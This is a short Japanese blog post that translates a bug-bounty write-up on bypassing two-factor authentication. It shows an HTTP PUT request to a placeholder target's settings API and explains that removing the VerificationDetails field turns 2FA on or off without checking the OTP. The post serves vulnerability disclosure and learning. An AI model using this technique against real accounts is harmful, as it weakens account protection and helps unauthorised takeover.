Shikata Ga Nai

Private? There is no such things.

Two Factor Authentication Bypassを訳してみた

Hello there, ('ω')ノ

 

二要素認証バイパスを。

 

脆弱性:

 2FAバイパス

 

記事:

 https://aungpyaekoko.medium.com/two-factor-authentication-bypass-50-5b397e68cfed

 

今回は、2要素認証のjsonエンドポイントでオン/オフに気づきいたので。

これは脆弱である可能性があると判断し、バイパスしようとすることに。

 

f:id:ThisIsOne:20211224211645p:plain

 

2要素認証は、5桁のOTPが必要で。

OTPの値のVerificationCodeに適当な値をセットして。

2要素認証をオンにした状態でのリクエストを送信すると。

 

PUT /api/sts/v2/settings?client_request_id=b8e69342–2e33–4f53-b323-e9186c97e995 HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.target.com/settings/account
Content-Type: application/json;charset=utf-8
Content-Length: 105
Connection: close

{“Settings”:

 {“DataType”:”Integer”,

 ”DomainName”:”services”,

 ”ResourceName”:”TwoFactor”,

 ”SelectedValue”:1},

 ”VerificationDetails”:

  {“VerificationId”:”f2315d56-a523–42ea-9999–4de187ec5d07",

  ”VerificationCode”:”12345"}

}

 

応答に無効な確認コードというメッセージのみが表示されて。

 

f:id:ThisIsOne:20211224211715p:plain

 

f:id:ThisIsOne:20211224211732p:plain

 

2要素認証は、SelectedValueに基づいているようで。

ON、OFFは2で。

SelectedValueの設定に含まれているVerificationDetailsを削除して。

jsonエンドポイントを送信してからリクエストを送信すると。

OTPを確認せずに2要素認証のオン/オフを行うことができて。

 

Best regards, (^^ゞ